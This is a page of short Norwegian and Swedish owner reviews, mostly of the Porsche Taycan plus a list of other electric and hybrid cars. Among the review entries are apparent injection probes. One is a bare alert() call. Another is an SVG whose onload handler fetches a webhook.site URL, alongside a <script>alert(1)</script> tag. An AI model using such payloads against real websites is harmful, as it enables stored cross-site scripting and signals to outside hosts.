Vurdert av perst
Flere vurderinger fra samme generasjon
Porsche Taycan (2022)
Fantastisk bil!! Hver kjøretur, kort som lang, er en stor nytelse. Fortsatt feilfri etter 2,5 år og 30.000 km. Eneste ankepunkt er litt treg Spotify innimellom.
Porsche Taycan (2022)
Fantastisk familjeracer som gör vardagen roligare oavsett längd på tur!
Porsche Taycan (2022)
En herlig bil som fungerer til alt
Porsche Taycan (2022)
En bil som innfrir og leverer kjøreglede. Har ikke hatt noen system eller tekniske utfordringer. Den bruker mindre El enn jeg hadde regnet med. Lader fint på stikk, easee lader og ionity.
Porsche Taycan (2022)
Veldig misfornøyd. Stadig feil på nivåregulering. Bruker kobler seg av PCM. Ladeproblemer på hurtiglader og på vanlig stikk. Har bedt om å få hevet kjøpet. Dette er ikke Porsche villig til å
Porsche Taycan (2022)
Hvis du har mulighet og lyst. Løp og kjøp!
Porsche Taycan (2021)
Fantastisk bil som kunne vært mye bedre...
Porsche Taycan (2021)
En fantastisk familiebil til overkommelig pris
Porsche Taycan (2021)
Strålende fornøyd og eiergleden er stor.
Porsche Taycan (2021)
Kort og godt, dette er en bil som oser kvalitet og som gir stor kjøreglede
Porsche Taycan (2021)
Nydelig bil, men nødvendig ektrautstyr som er standard i en Tesla 3 koster..og er helt nødvendig.
Porsche Taycan (2020)
Uten tvil den beste bilen i markedet for øyeblikket!
Porsche Taycan (2020)
Verdens beste bil 2020 er vel fortjent. Porsche Taycan er fantastisk, men den hadde fortjent et bedre brukergrensesnitt for betjening av visse funksjoner og færre ukorrekte feilmeldinger.
Porsche Taycan (2020)
Dette er den siste i rekken av flere Porsche'er jeg har hatt. Har ikke hatt feil på noen av disse som har medført større verkstedregninger. Porsche er synonymt med høy kvalitet. Veldig godt forn
Porsche Taycan (2020)
PorscheTaycan Turbo S er en fantastisk bil. Du får mer Porsche Taycan for pengene om du velger en 4S, men kan du velge Turbo S med alt fra øverste hylle så får du enda mer kjøreglede enn i en 4S.
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
